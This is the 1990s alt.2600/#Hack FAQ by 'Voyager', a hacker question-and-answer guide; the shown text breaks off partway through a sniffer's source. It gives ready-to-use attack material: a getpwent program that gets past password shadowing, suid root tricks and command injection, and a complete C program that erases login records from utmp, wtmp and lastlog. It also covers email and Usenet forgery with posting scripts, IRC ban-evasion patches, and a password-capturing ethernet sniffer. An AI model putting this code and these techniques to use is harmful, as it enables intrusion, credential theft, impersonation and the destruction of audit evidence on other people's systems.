The

alt.2600/#Hack F.A.Q.

Beta Revision .013

A TNO Communications Production

by
Voyager
will@gnu.ai.mit.edu

Sysop of
Hacker's Haven
(303)343-4053

Greets go out to:

A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, Cybin, C-Curve, DeadKat, Disorder, Edison, Frosty, Glen Roberts, Hobbit, Holistic Hacker, KCrow, Major, Marauder, Novocain, Outsider, Per1com, Presence, Rogue Agent, Route, sbin, Taran King, Theora, ThePublic, Tomes, and TheSaint.

> We work in the dark
> We do what we can
> We give what we have
> Our doubt is our passion, and our passion is our task
> The rest is the madness of art.
>
> -- Henry James

> When I picture a perfect reader, I always picture a monster of courage and curiosity, also something supple, cunning, cautious, a born adventurer and discoverer...
>
> -- Friedreich Nietzsche

Section A: Computers

Section B: Telephony

Section C: Cellular

Section D: Resources

Section E: 2600

Section F: Miscellaneous

U == Updated since last release of the alt.2600/#hack FAQ
N == New since last release of the alt.2600/#hack FAQ

Section A: Computers

~~~~~~~~~~~~~~~~~~~~

01. How do I access the password file under Unix?
~~~~~~~~~~~~~~~~~~~~

In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. An entry in the password file consists of seven colon delimited fields:

Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell

```
]
] Sample entry from /etc/passwd:
]
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
```

Broken down, this passwd file line shows:

```
          Username: will
Encrypted password: 5fg63fhD3d5gh
       User number: 9406
      Group Number: 12
 GECOS Information: Will Spencer
    Home directory: /home/fsg/will
             Shell: /bin/bash
```

02. How do I crack Unix passwords?

Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password.

Password cracking software uses wordlists. Each word in the wordlist is encrypted and the results are compared to the encrypted form of the target password.

The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. CrackerJack is available via ftp from clark.net /pub/jcase/.

03. What is password shadowing?

Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users.

To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file.

Example:

```
#include <pwd.h>
main()
{
```

```
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
```

04. Where can I find the password file if it's shadowed?

Unix	Path	Token
AIX 3	/etc/security/passwd	!
or	/tcb/auth/files/<first letter of username>/<username>	#
A/UX 3.0s	/tcb/files/auth/?/*	
BSD4.3-Reno	/etc/master.passwd	*
ConvexOS 10	/etc/shadpw	*
ConvexOS 11	/etc/shadow	*
DG/UX	/etc/tcb/aa/user/	*
EP/IX	/etc/shadow	x
HP-UX	/.secure/etc/passwd	*
IRIX 5	/etc/shadow	x
Linux 1.1	/etc/shadow	*
OSF/1	/etc/passwd[.dir|.pag]	*
SCO Unix #.2.x	/tcb/auth/files/<first letter of username>/<username>	*
SunOS4.1+c2	/etc/security/passwd.adjunct	##username
SunOS 5.0	/etc/shadow <optional NIS+ private secure maps/tables/whatever>	
System V Release 4.0	/etc/shadow	x
System V Release 4.2	/etc/security/* database	
Ultrix 4	/etc/auth[.dir|.pag]	*
UNICOS	/etc/udb	*

05. What is NIS/yp?

NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this:

```
+::0:0:::
```

To view the real password file use this command "ypcat passwd"

06. What are those weird characters after the comma in my passwd file?

The characters are password aging data. Password aging forces the user to change passwords after a System Administrator specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it.

```
]
] Sample entry from /etc/passwd with password aging installed:
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
```

Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism.

```
]
] Password aging characters from above example:
]
] M.z8
]
```

The four characters are interpreted as follows:

```
  1: Maximum number of weeks a password can be used without changing.
  2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
```

Three special cases should be noted:

If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again.

If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters.

If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password.

It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password.

Password Aging Codes

Character:	.	/	0	1	2	3	4	5	6	7	8	9	A	B	C	D	E	F	G	H
Number:	0	1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19
Character:	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	a	b
Number:	20	21	22	23	24	25	26	27	28	29	30	31	32	33	34	35	36	37	38	39
Character:	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v
Number:	40	41	42	43	44	45	46	47	48	49	50	51	52	53	54	55	56	57	58	59
Character:	w	x	y	z																
Number:	60	61	62	63																

07. How do I access the password file under VMS?

Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file.

08. How do I crack VMS passwords?

Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT.

Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.

09. What can be logged on a VMS system?

Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for recording information about the use of the machine from a system accounting perspective (resource logging such as CPU time, printer usage etc.), while system auditing is done with the aim of logging information for the purpose of security. To enable accounting:

```
$ SET ACCOUNTING  [/ENABLE=(Activity...)]
```

This enables accounting logging information to the accounting log file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one with a higher version number.

The following activities can be logged:

BATCH	Termination of a batch job
DETACHED	Termination of a detached job
IMAGE	Image execution
INTERACTIVE	Interactive job termination
LOGIN_FAILURE	Login failures
MESSAGE	Users messages
NETWORK	Network job termination
PRINT	Print Jobs
PROCESS	Any terminated process
SUBPROCESS	Termination of a subprocess

To enable security auditing use:

```
        $ SET AUDIT [/ENABLE=(Activity...)]
```

The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which means that you need the SECURITY privileges. You can determine your security auditing configuration using $ SHOW AUDIT /ALL

The security auditor can be configured to log the following activities:

ACL	Access Control List requested events
AUTHORIZATION	Modification to the system user authorization file SYS$SYSTEM:SYSUAF.DAT
BREAKIN	Attempted Break-ins
FILE_ACCESS	File or global section access
INSTALL	Occurrence of any INSTALL operations
LOGFAILURE	Any login failures
LOGIN	A login attempt from various sources
LOGOUT	Logouts
MOUNT	Mount or dismount requests

10. What privileges are available on a VMS system?

ACNT	Allows you to restrain accounting messages
ALLSPOOL	Allows you to allocate spooled devices
ALTPRI	Allot Priority. This allows you to set any priority value
BUGCHK	Allows you make bug check error log entries
BYPASS	Enables you to disregard protections

CMEXEC/ CMKRNL	Change to executive or kernel mode. These privileges allow a process to execute optional routines with KERNEL and EXECUTIVE access modes. CMKRNL is the most powerful privilege on VMS as anything protected can be accessed if you have this privilege. You must have these privileges to gain access to the kernel data structures directly.
DETACH	This privilege allow you to create detached processes of arbitrary UICs
DIAGNOSE	With this privilege you can diagnose devices
EXQUOTA	Allows you to exceed your disk quota
GROUP	This privilege grants you permission to affect other processes in the same rank
GRPNAM	Allows you to insert group logical names into the group logical names table.
GRPPRV	Enables you to access system group objects through system protection field
LOG_IO	Allows you to issue logical input output requests
MOUNT	May execute the mount function
NETMBX	Allows you to create network connections
OPER	Allows you to perform operator functions
PFNMAP	Allows you to map to specific physical pages
PHY_IO	Allows you to perform physical input output requests
PRMCEB	Can create permanent common event clusters
PRMGBL	Allows you to create permanent global sections
PRMMBX	Allows you to create permanent mailboxes
PSWAPM	Allows you to change a processes swap mode
READALL	Allows you read access to everything
SECURITY	Enables you to perform security related functions
SETPRV	Enable all privileges
SHARE	Allows you to access devices allocated to other users. This is used to assign system mailboxes.
SHMEM	Enables you to modify objects in shared memory
SYSGBL	Allows you to create system wide permanent global sections
SYSLCK	Allows you to lock system wide resources
SYSNAM	Allows you to insert in system logical names in the names table.
SYSPRV	If a process holds this privilege then it is the same as a process holding the system user identification code.
TMPMBX	Allows you create temporary mailboxes
VOLPRO	Enables you to override volume protection
WORLD	When this is set you can affect other processes in the world

To determine what privileges your process is running with issue the command:

```
$ show proc/priv
```

11. How do I break out of a restricted shell?

On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command:

```
:set shell=/bin/sh
```

then shell using this command:

```
:shell
```

If your restricted shell prevents you from using the "cd" command, ftp into your account and you may be able to cd.

12. How do I gain root from a suid script or program?

1. Change IFS.

If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments.

If the program contains a line that looks like this:

```
system("/bin/date")
```

and you change IFS to '/' the shell will them interpret the proceeding line as:

```
bin date
```

Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date.

To change IFS, use this command:

```
IFS='/';export IFS      # Bourne Shell
setenv IFS '/'          # C Shell
export IFS='/'          # Korn Shell
```

2. link the script to -i

Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts.

Example:

```
% ln suid.sh -i
% -i
#
```

3. Exploit a race condition

Replace a symbolic link to the program with another program while the kernel is loading /bin/sh.

Example:

```
nice -19 suidprog ; ln -s evilprog suidroot
```

4. Send bad input to the program.

Invoke the name of the program and a separate command on the same command line.

Example:

```
suidprog ; id
```

13. How do I erase my presence from the system logs?

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:

```
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
    struct utmp utmp_ent;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
     while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
       if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                 bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                 lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                 write (f, &utmp_ent, sizeof (utmp_ent));
            }
     close(f);
  }
}

void kill_wtmp(who)
char *who;
{
    struct utmp utmp_ent;
    long pos;

    pos = 1L;
    if ((f=open(WTMP_NAME,O_RDWR))>=0) {

     while(pos != -1L) {
        lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
        if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
          pos = -1L;
        } else {
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
               bzero((char *)&utmp_ent,sizeof(struct utmp ));
               lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
               write (f, &utmp_ent, sizeof (utmp_ent));
               pos = -1L;
          } else pos += 1L;
        }
     }
     close(f);
  }
}

void kill_lastlog(who)
```

```
char *who;
{
    struct passwd *pwd;
    struct lastlog newll;

     if ((pwd=getpwnam(who))!=NULL) {

        if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
            lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
            bzero((char *)&newll,sizeof( newll ));
            write(f, (char *)&newll, sizeof( newll ));
            close(f);
        }

    } else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
    if (argc==2) {
        kill_lastlog(argv[1]);
        kill_wtmp(argv[1]);
        kill_utmp(argv[1]);
        printf("Zap2!\n");
    } else
    printf("Error.\n");
}
```

14. How do I send fakemail?

Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example:

```
 HELO bellcore.com
 MAIL FROM:voyager@bellcore.com
 RCPT TO:president@whitehouse.gov
 DATA
 From: voyager@bellcore.com (The Voyager)
 To: president@whitehouse.gov
 Subject: Clipper
 Reply-To: voyager@bellcore.com

        Please discontinue your silly Clipper initiative.
 .
 QUIT
```

On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first.

For more information read RFC 822 "Standard for the format of ARPA Internet text messages."

15. How do I fake posts and control messages to UseNet?

```
 From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence))
 Subject: FAQ: Better living through forgery
 Date: 19 Mar 1995 02:37:09 GMT

        Anonymous netnews without "anonymous" remailers
```

Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging control messages, so you can do your own article canceling and create and destroy your own newsgroups.

Save any news article to a file. We'll call it "hak" in this example.

Edit "hak", and remove any header lines of the form

```
        From some!random!path!user   (note: "From ", not "From: " !!)
        Article:
        Lines:
        Xref:
```

Shorten the Path: header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias.

Make some change to the Message-ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate these IDs.

Change the other headers to say what you like -- From:, Newsgroups:, Sender:, etc. Replace the original message text with your message. If you are posting to a moderated group or posting a control message, remember to put in an Approved: header to bypass the moderation mechanism.

To specifically cancel someone else's article, you need its message-ID. Your message headers, in addition to what's already there, should also contain the following with that message-ID in it. This makes it a "control message". NOTE: control messages generally require an Approved: header as well, so you should add one.

```
Subject: cmsg cancel <xb8700A@twits.site.com>
Control: cancel <xb8700A@twits.site.com>
Approved: luser@twits.site.com
```

Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like

```
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
```

Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating:

```
For your newsgroups file:
comp.misc.microsoft.sucks               We don't do windows
```

To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended.

Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script:

```
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server

 if test "$2" = "" ; then
  echo usage: $0 filename server
  exit 1
fi
if test ! -f $1 ; then
  echo $1: not found
  exit 1
fi

# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
  sed 's/.*-[Ii][Dd]: //'`
echo $msgid

( sleep 5
  echo IHAVE $msgid
  sleep 5
  cat $1
  sleep 1
   echo "."
  sleep 1
  echo QUIT ) | telnet $2 119
=======================
```

If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash.

```
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
```

Once you have your host list, feed it to the following script.

```
 =======================
#! /bin/sh

while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
  sleep 5
  echo ihave IamSOk00l@podunk.edu
  sleep 4
  echo .
  echo quit
  sleep 1
  echo quit
) | telnet
```

```
 done
 ======================
```

If the above script is called "findem" and you're using csh, you should do

```
        findem < list >& outfile
```

so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears.

Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running.

You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use.

PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY.

16. How do I hack ChanOp on IRC?

Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose.

17. How do I modify the IRC client to hide my real username?

Note: This FAQ answer was written by someone else, but I do not know who.
      If you know who originally wrote this, please e-mail me.

-- BEGIN QUOTED TEXT --

Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows:

```
 *   /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channel you
 *     are currently on and keep your current nickname.
```

The effect is basically changing your username/IRCname on the fly. Although you are disconnected from your server and reconnected, the ircII client is never exited, thus keeping all your state information and aliases intact. This is ideal for bots that wish to be REALLY obnoxious in ban evasion. ;)

As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect associated with the NEWUSER command takes time, so TIMER any commands that must immediately follow the NEWUSER. For example... ban evasion made easy (but beware infinite reconnects when your site is banned):

```
on ^474 * {
  echo *** Banned from channel $1
  if ($N == [AnnMurray]) {
    nick $randomstring
    join $1
    } {
    nick AnnMurray
    newuser $randomstring
    timer 5 join $1
    }
  }
```

Or just to be annoying... a /BE <nickname> alias that will assume a person's username and IRCNAME:

```
alias be {
  ^on ^311 * {
    ^on 311 -*
    newuser $2 $5-
    }
  whois $0
  }
```

Now... in order to add this command to your ircII client, get the latest client source (or whatever client source you are using). Cd into the source directory and edit the file "edit.c". Make the following changes:

Locate the line which reads:

```
extern  void    server();
```

Insert the following line after it:

```
static  void    newuser();
```

This pre-defines a new function "newuser()" that we'll add later.

Now, locate the line which reads:

```
        "NAMES",        "NAMES",        funny_stuff,            0,
```

Insert the following line after it:

```
        "NEWUSER",      NULL,           newuser,                0,
```

This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call our new function newuser() to perform it.

Finally, go the bottom of the file and add the following code as our new function "newuser()":

```
/*
 * newuser: the /NEWUSER command.  Added by Hendrix
 *   Parameters as follows:
 *     /NEWUSER <new_username> [new_IRCNAME]
 *       <new_username> is a new username to use and is required
 *       [new_IRCNAME] is a new IRCNAME string to use and is optional
 *   This will disconnect you from your server and reconnect using
 *     the new information given.  You will rejoin all channels you
 *     are currently on and keep your current nickname.
 */

static void    newuser(command, args)
char    *command,
        *args;
{
        char    *newuname;

        if (newuname = next_arg(args, &args))
        {
                strmcpy(username, newuname, NAME_LEN);
                if (*args)
                        strmcpy(realname, args, REALNAME_LEN);
                say("Reconnecting to server...");
                close_server(from_server);
                if (connect_to_server(server_list[from_server].name,
                      server_list[from_server].port, primary_server) != -1)
                {
                        change_server_channels(primary_server, from_server);
                        set_window_server(-1, from_server, 1);
                }
                else
                        say("Unable to reconnect. Use /SERVER to connect.");
        }
        else
                say("You must specify a username and, optionally, an IRCNAME");
}
```

-- END QUOTED TEXT --

/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the following diff and set an environment variable named CTCPFINGER with the information you would like to display when queried.

```
*** ctcp.old
--- ctcp.c
***************
*** 334 ****
!       char    c;
--- 334 ---
!       char    c, *fing;
***************
*** 350,354 ****
!               if (pwd = getpwuid(uid))
                {
                        char    *tmp;
--- 350,356 ----
!               if (fing = getenv("CTCPFINGER"))
!                       send_ctcp_reply(from, ctcp->name, fing, diff, c);
!               else if (pwd = getpwuid(uid))
                {
                        char    *tmp;
```

18. How to I change to directories with strange characters in them?

These directories are often used by people trying to hide information, most often warez (commercial software).

There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information:

From the man page for ls:

-F Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol.

-q Forces printing of non-graphic characters in filenames as the character ``?''.

-b Forces printing of non-graphic characters in the \ddd notation, in octal.

Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are.

From the man page for cat:

-v Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del> character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits.

-t Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified.

-e Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set.

If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example:

```
cd "..<TAB>"
```

On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful.

Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in question to another character.

From the man page for stty:

Control assignments

control-character C

Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp.

start and stop are available as possible control characters for the control-character C assignment.

If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as DELETE and ^- is interpreted as undefined).

Use the stty -a command to see your current stty settings, and to determine which one is causing you problems.

19. What is ethernet sniffing?

Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password."

Many ethernet sniffers are available, here are a few that may be on your system now:

```
OS              Sniffer
~~              ~~~~~~~
4.3/4.4 BSD     tcpdump            /* Available via anonymous ftp           */
FreeBSD         tcpdump            /* Available via anonymous ftp at        */
                                   /* gatekeeper.dec.com
                    /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */
NetBSD          tcpdump            /* Available via anonymous ftp at        */
                                   /* gatekeeper.dec.com
                             /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */
DEC Unix        tcpdump            /* Available via anonymous ftp           */
DEC Ultrix      tcpdump            /* Available via anonymous ftp           */
HP/UX           nettl  (monitor)
              & netfmt (display)
                nfswatch           /* Available via anonymous ftp           */
Linux           tcpdump            /* Available via anonymous ftp at        */
                                   /* sunsite.unc.edu                       */
                                   /* /pub/Linux/system/Network/management/ */
SGI Irix        nfswatch           /* Available via anonymous ftp           */
                Etherman
                tcpdump            /* Available via anonymous ftp           */
Solaris         snoop
                tcpdump
SunOS           etherfind
                nfswatch           /* Available via anonymous ftp           */
                tcpdump            /* Available via anonymous ftp           */
DOS             ETHLOAD            /* Available via anonymous ftp as        */
                                   /* ethld104.zip                          */
                The Gobbler        /* Available via anonymous ftp           */
                LanPatrol
                LanWatch
                Netmon
                Netwatch
                Netzhack           /* Available via anonymous ftp at        */
                                   /* mistress.informatik.unibw-muenchen.de */
                                   /* /pub/netzhack.mac                     */
Macintosh       Etherpeek
```

Here is source code for a sample ethernet sniffer:

```
/* Esniff.c */

#include <stdio.h>
#include <ctype.h>
#include <string.h>

#include <sys/time.h>
```

```
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>

#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>

#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>

#include <netdb.h>
#include <arpa/inet.h>

#define ERR stderr

char    *malloc();
char    *device,
        *ProgName,
        *LogName;
FILE    *LOG;
int     debug=0;

#define NIT_DEV     "/dev/nit"
#define CHUNKSIZE   4096        /* device buffer size */
int     if_fd = -1;
int     Packet[CHUNKSIZE+32];

void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
  exit(err); }

void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
  exit(err); }

#define IP          ((struct ip *)Packet)
#define IP_OFFSET   (0x1FFF)
#define SZETH       (sizeof(struct ether_header))
#define IPLEN       (ntohs(ip->ip_len))
#define IPHLEN      (ip->ip_hl)
#define TCPOFF      (tcph->th_off)
#define IPS         (ip->ip_src)
#define IPD         (ip->ip_dst)
#define TCPS        (tcph->th_sport)
#define TCPD        (tcph->th_dport)
#define IPeq(s,t)   ((s).s_addr == (t).s_addr)

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS))
```

```
#define MAXBUFLEN  (128)
time_t  LastTIME = 0;

struct CREC {
     struct CREC *Next,
                 *Last;
     time_t  Time;              /* start time */
     struct in_addr SRCip,
                    DSTip;
     u_int   SRCport,           /* src/dst ports */
             DSTport;
     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */
     u_int   Length;            /* current data length */
     u_int   PKcnt;             /* # pkts */
     u_long  LASTseq;
};

struct CREC *CLroot = NULL;

char *Symaddr(ip)
register struct in_addr ip;
{ register struct hostent *he =
      gethostbyaddr((char *)&ip.s_addr, sizeof(struct in_addr),AF_INET);

  return( (he)?(he->h_name):(inet_ntoa(ip)) );
}

char *TCPflags(flgs)
register u_char flgs;
{ static char iobuf[8];
#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-')

  SFL(0,TH_FIN, 'F');
  SFL(1,TH_SYN, 'S');
  SFL(2,TH_RST, 'R');
  SFL(3,TH_PUSH,'P');
  SFL(4,TH_ACK, 'A');
  SFL(5,TH_URG, 'U');
  iobuf[6]=0;
  return(iobuf);
}

char *SERVp(port)
register u_int port;
{ static char buf[10];
  register char *p;

   switch(port) {
     case IPPORT_LOGINSERVER: p="rlogin"; break;
     case IPPORT_TELNET:      p="telnet"; break;
     case IPPORT_SMTP:        p="smtp"; break;
     case IPPORT_FTP:         p="ftp"; break;
     default: sprintf(buf,"%u",port); p=buf; break;
   }
   return(p);
}

char *Ptm(t)
register time_t *t;
{ register char *p = ctime(t);
  p[strlen(p)-6]=0; /* strip " YYYY\n" */
  return(p);
}
```

```
char *NOWtm()
{ time_t tm;
  time(&tm);
  return( Ptm(&tm) );
}

#define MAX(a,b) (((a)>(b))?(a):(b))
#define MIN(a,b) (((a)<(b))?(a):(b))

/* add an item */
#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \
  register struct CREC *CLtmp = \
        (struct CREC *)malloc(sizeof(struct CREC)); \
  time( &(CLtmp->Time) ); \
  CLtmp->SRCip.s_addr = SIP.s_addr; \
  CLtmp->DSTip.s_addr = DIP.s_addr; \
  CLtmp->SRCport = SPORT; \
  CLtmp->DSTport = DPORT; \
  CLtmp->Length = MIN(LEN,MAXBUFLEN); \
  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data, CLtmp->Length); \
  CLtmp->PKcnt = 1; \
  CLtmp->Next = CLroot; \
  CLtmp->Last = NULL; \
  CLroot = CLtmp; \
}

register struct CREC *GET_NODE(Sip,SP,Dip,DP)
register struct in_addr Sip,Dip;
register u_int SP,DP;
{ register struct CREC *CLr = CLroot;

  while(CLr != NULL) {
    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) &&
        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) )
            break;
    CLr = CLr->Next;
  }
  return(CLr);
}

#define ADDDATA_NODE(CL,DATA,LEN) { \
 bcopy((u_char *)DATA, (u_char *)&CL->Data[CL->Length],LEN); \
 CL->Length += LEN; \
}

#define PR_DATA(dp,ln) {    \
  register u_char lastc=0; \
  while(ln-- >0) { \
     if(*dp < 32) {  \
        switch(*dp) { \
            case '\0': if((lastc=='\r') || (lastc=='\n') || lastc=='\0') \
                        break; \
            case '\r': \
            case '\n': fprintf(LOG,"\n     : "); \
                        break; \
            default  : fprintf(LOG,"^%c", (*dp + 64)); \
                        break; \
        } \
     } else { \
        if(isprint(*dp)) fputc(*dp,LOG); \
        else fprintf(LOG,"(%d)",*dp); \
     } \
     lastc = *dp++; \
  } \
  fflush(LOG); \
}

void END_NODE(CLe,d,dl,msg)
register struct CREC *CLe;
register u_char *d;
register int dl;
register char *msg;
{
   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n", Ptm(&CLe->Time));
